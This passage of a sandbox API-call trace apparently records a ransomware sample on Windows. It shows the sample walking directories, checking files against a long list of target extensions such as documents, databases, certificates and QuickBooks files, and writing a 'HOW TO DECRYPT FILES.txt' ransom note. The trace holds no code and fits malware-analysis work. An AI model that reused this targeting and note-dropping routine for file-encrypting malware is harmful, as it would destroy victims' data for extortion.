(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.dat") returned 0 [0112.087] lstrlenA (lpString="*.dat") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.txt") returned 0 [0112.087] lstrlenA (lpString="*.txt") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.jpeg") returned 0 [0112.087] lstrlenA (lpString="*.jpeg") returned 6 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.jpg") returned 0 [0112.087] lstrlenA (lpString="*.jpg") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.png") returned 0 [0112.088] lstrlenA (lpString="*.png") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.php") returned 0 [0112.088] lstrlenA (lpString="*.php") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.cs") returned 0 [0112.088] lstrlenA (lpString="*.cs") returned 4 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.cpp") returned 0 [0112.088] lstrlenA (lpString="*.cpp") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.rar") returned 0 [0112.088] lstrlenA (lpString="*.rar") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.zip") returned 0 [0112.088] lstrlenA (lpString="*.zip") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.html") returned 0 [0112.088] lstrlenA (lpString="*.html") returned 6 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.htm") returned 0 [0112.088] lstrlenA (lpString="*.htm") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.xlsx") returned 0 [0112.088] lstrlenA (lpString="*.xlsx") returned 6 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.xls") returned 0 [0112.088] lstrlenA (lpString="*.xls") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mp4") returned 0 [0112.088] lstrlenA (lpString="*.mp4") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.ppt") returned 0 [0112.088] lstrlenA (lpString="*.ppt") returned 5 [0112.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.pptx") returned 0 [0112.089] lstrlenA (lpString="*.pptx") returned 6 [0112.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.doc") returned 0 [0112.089] lstrlenA (lpString="*.doc") returned 5 [0112.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.dot") returned 0 [0112.089] lstrlenA (lpString="*.dot") returned 5 [0112.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.docx") returned 0 [0112.089] lstrlenA (lpString="*.docx") returned 6 [0112.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.7z") returned 0 [0112.089] lstrlenA (lpString="*.7z") returned 4 [0112.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.tar") returned 0 [0112.089] lstrlenA (lpString="*.tar") returned 5 [0112.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.bz2") returned 0 [0112.089] lstrlenA (lpString="*.bz2") returned 5 [0112.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.gz") returned 0 [0112.090] lstrlenA (lpString="*.gz") returned 4 [0112.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mkv") returned 0 [0112.090] lstrlenA (lpString="*.mkv") returned 5 [0112.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.eml") returned 0 [0112.090] lstrlenA (lpString="*.eml") returned 5 [0112.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.msg") returned 0 [0112.090] lstrlenA (lpString="*.msg") returned 5 [0112.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.edb") returned 0 [0112.091] lstrlenA (lpString="*.edb") returned 5 [0112.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.accdb") returned 0 [0112.091] lstrlenA (lpString="*.accdb") returned 7 [0112.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.odb") returned 0 [0112.091] lstrlenA (lpString="*.odb") returned 5 [0112.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.java") returned 0 [0112.091] lstrlenA (lpString="*.java") returned 6 [0112.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.asm") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.pfx") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.pem") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.p12") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.gpg") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.vsd") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.odg") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.raw") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.nef") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.svg") returned 0 [0112.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.psd") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.vmx") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.vmdk") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.vdi") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.lay6") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mpeg") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.djvu") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.tiff") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.backup") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.pdf") returned 0 [0112.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.cert") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.docm") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.xlsm") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.dwg") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.nd") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.tlg") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.lgb") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mov") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.xdw") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.ods") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.wav") returned 0 [0112.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mp3") returned 0 [0112.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.aiff") returned 0 [0112.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.flac") returned 0 [0112.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.m4a") returned 0 [0112.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.csv") returned 0 [0112.095] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5afc55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8d5afc55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8d7c4f99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x124e600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0112.095] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.095] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0e2664c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb0e2664c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb0e2664c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="1badf57680aebab32f17bc080876b61d", cAlternateFileName="1BADF5~1")) returned 1 [0112.095] lstrcmpA (lpString1=".", lpString2="1badf57680aebab32f17bc080876b61d") returned -1 [0112.095] lstrcmpA (lpString1="..", lpString2="1badf57680aebab32f17bc080876b61d") returned -1 [0112.095] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\*.*") returned="*.*" [0112.095] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\", lpString2="1badf57680aebab32f17bc080876b61d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d" [0112.095] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0e2664c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb0e2664c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb0e2664c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.096] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.096] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0e2664c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb0e2664c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb0e2664c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.096] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.096] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.096] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0dda38c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb0dda38c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb0dda38c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Classic.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0112.096] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.096] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Classic.ni.dll") returned -1 [0112.096] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Classic.ni.dll") returned -1 [0112.096] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Classic.ni.dll") returned -1 [0112.096] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\*.*") returned="*.*" [0112.096] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\" [0112.096] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\") returned="" [0112.096] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\HOW TO DECRYPT FILES.txt" [0112.096] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\1badf57680aebab32f17bc080876b61d\\how to decrypt files.txt")) returned 0xffffffff [0112.096] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\1badf57680aebab32f17bc080876b61d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.103] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.104] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.104] CloseHandle (hObject=0x90) returned 1 [0112.104] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\", lpString2="PresentationFramework.Classic.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll" [0112.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.ems") returned 0 [0112.104] lstrlenA (lpString="*.ems") returned 5 [0112.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.db") returned 0 [0112.104] lstrlenA (lpString="*.db") returned 4 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.dbf") returned 0 [0112.105] lstrlenA (lpString="*.dbf") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.myox") returned 0 [0112.105] lstrlenA (lpString="*.myox") returned 6 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.myo") returned 0 [0112.105] lstrlenA (lpString="*.myo") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbw") returned 0 [0112.105] lstrlenA (lpString="*.qbw") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbb") returned 0 [0112.105] lstrlenA (lpString="*.qbb") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbm") returned 0 [0112.105] lstrlenA (lpString="*.qbm") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbo") returned 0 [0112.105] lstrlenA (lpString="*.qbo") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbx") returned 0 [0112.105] lstrlenA (lpString="*.qbx") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qba") returned 0 [0112.105] lstrlenA (lpString="*.qba") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qby") returned 0 [0112.105] lstrlenA (lpString="*.qby") returned 5 [0112.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\1badf57680aebab32f17bc080876b61d\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbj") returned 0 [0112.105] lstrlenA (lpString="*.qbj") returned 